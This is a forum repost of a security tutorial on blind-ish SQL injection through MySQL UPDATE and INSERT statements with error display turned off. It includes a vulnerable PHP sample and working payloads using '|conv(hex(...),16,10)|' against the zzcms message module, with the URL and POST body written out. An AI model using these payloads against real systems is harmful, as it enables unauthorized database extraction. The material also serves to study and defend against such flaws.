搜索
查看: 786|回复: 0

当update注入遇到关闭显错

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-6-18 22:44:25 | 显示全部楼层 |阅读模式
原文链接:https://blog.spoock.com/2018/06/02/update-sqli-without-error/

说明
关于update注入,可能大家最先想到的是报错注入,但是报错注入的前提是开启了错误显示。那如果关闭了报错显示呢?在Update的注入中如果关闭了显错该怎么办这篇文章中提出了一种在关闭报错情况下的注入场景,本篇文章就是对这种原理进行分析,并就一个实际的cms系统进行实际的分析。
mysql的特性
在mysql中,字符串和数组进行或运算时,将得到数字。但是需要注意的是,这个特性需要在MySQL的非严格模式下才可以使用。如下:
  1. mysql> select 'abc'|123;
  2. +-----------+
  3. | 'abc'|123 |
  4. +-----------+
  5. |       123 |
  6. +-----------+
  7. 1 row in set, 1 warning (0.00 sec)

  8. mysql> select user()|123;
  9. +------------+
  10. | user()|123 |
  11. +------------+
  12. |        123 |
  13. +------------+
  14. 1 row in set (0.00 sec)
复制代码

利用这种特性,在关闭了报错的情况下就能够将我们查询到的数据转换为十进制的数,然后与字符串进行或运算,得到的结果就是十进制的数,最终转换为对应的字符串即可。
update注入示例
存在如下代码:
  1. $mysqli = new mysqli("localhost","root","root","security");
  2. if($mysqli->connect_errno) {
  3.     printf("Connect failed: %s\n",$mysqli->connect_errno);
  4.     exit();
  5. }
  6. $mysqli->query("set names utf8");
  7. $id = @$_GET['id'];
  8. $username = @$_GET['username'];

  9. $sql1 = "update users set username='$username' where id='$id'";
  10. var_dump($sql1);
  11. $sql2 = "select * from users where id='$id'";
  12. var_dump($sql2);
  13. $result = $mysqli->query($sql1);
  14. if($result = $mysqli->query($sql2)) {
  15.     $row = $result->fetch_array(MYSQLI_ASSOC);
  16.     echo "ID=".$id.'的用户名变为'.$row['username'];
  17.     $result->close();
  18. } else {
  19.     var_dump($mysqli->error);
  20. }

  21. $mysqli->close();
复制代码
输入一个正常的用户名和ID:
得到了数字123456
那么接下来就是注入的过程,我们将需要查询的数据转换为数字,转换的方法就是采用转换为十六进制的方法。访问test.php?id=1&username=tom'|conv(hex(version()),16,10)|'
zzcms中的update注入
如果说上面的只是纸上谈兵,那么来看一个实际的例子。 在user/msg.php中的代码如下:
  1. if ($action == "savedata") {
  2.     $saveas = trim($_REQUEST["saveas"]);
  3.     $content = stripfxg(rtrim($_POST["info_content"]));
  4.     if ($saveas == "add") {
  5.         query("insert into zzcms_msg (content)VALUES('$content') ");
  6.         $go = 1;
  7.     } elseif ($saveas == "modify") {
  8.         query("update zzcms_msg set content='$content' where id=" . $_POST['id'] . " ");
  9.         $go = 1;
  10.     }
  11. }
复制代码
对于POST参数content使用stripfxg()方法。stripfxg()的代码如下:
  1. function stripfxg($string) {//去反斜杠
  2.     $string = stripslashes($string);//去反斜杠,不开get_magic_quotes_gpc 的情况下,在stopsqlin中都加上了,这里要去了
  3.     $string = htmlspecialchars_decode($string);//转html实体符号
  4.     return $string;
  5. }
复制代码
去掉了反斜线和转html实体编号,那么就可以进行SQL注入。 在user/msg.php提交如下:
  1. URL: http://localhost/user/msg.php?action=savedata&saveas=modify
  2. POST: info_content=ppp'|conv(hex(version()),16,10)|'&id=1
复制代码
修改之后,可以在msg_manage.php进行查询。之后访问user/msg_manage.php,得到插入的结果,还原成原来的字符串即可。
实际演示
得到的结果就是58472576988467就是版本号,解码之后就可以得到字符串结果。
  1. mysql> select unhex(conv(58472576988467,10,16));
  2. +-----------------------------------+
  3. | unhex(conv(58472576988467,10,16)) |
  4. +-----------------------------------+
  5. | 5.5.53                            |
  6. +-----------------------------------+
  7. 1 row in set (0.00 sec)
复制代码
其实这道题目除了通过updat注入之外,通过insert的方式也可以达到相同的目的。只需要访问:
  1. URL: http://localhost/user/msg.php?action=savedata&saveas=add
  2. POST: info_content=ppp'|conv(hex(version()),16,10)|'
复制代码
原理和update注入的原理是一样的,这里就不作说明了。
其他-1
上面是使用或操作,那么能否使用与操作呢?答案是不行的。进行如下的尝试:
  1. mysql> select 'abc'&123;
  2. +-----------+
  3. | 'abc'&123 |
  4. +-----------+
  5. |         0 |
  6. +-----------+
  7. 1 row in set, 1 warning (0.00 sec)
复制代码
因为字符串与数字进行或操作的时候得到的都是空,无法通过返回值得到有价值的结果。 问题就来了,为什么或操作和与操作之间的结果会存在差异呢?这个问题我之前已经研究过了,主要是进行或操作和与操作时进行的是二进制的运算,对于字符串首先会转换为数字,此时都是0。0和任何数字与操作都是0。具体的分析可以去看当order by遇上|
其他-2
虽然整篇文章是通过update的方式进行讲解的,但是通过最后的实例也可以发现,其实在insert语句的情况下也能够达到相同的目的。其实不管是update还是insert,都是需要在数据库中插入数据,之后查询得到插入的结果。
总结
  • 这种方式需要update语句配合select查询才能够使用,而且需要在MySQL的非严格模式下才可以使用。
  • 这篇文章仅仅只是提供了update在一种场景下的注入方式,但是还是存在一定的局限性,很多时候select、()、,都会被过滤掉。
  • 这篇文章只是提出了一种注入场景,作为一个安全研究人员应该具备举一反三的能力,而不是局限在这个场景里面。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表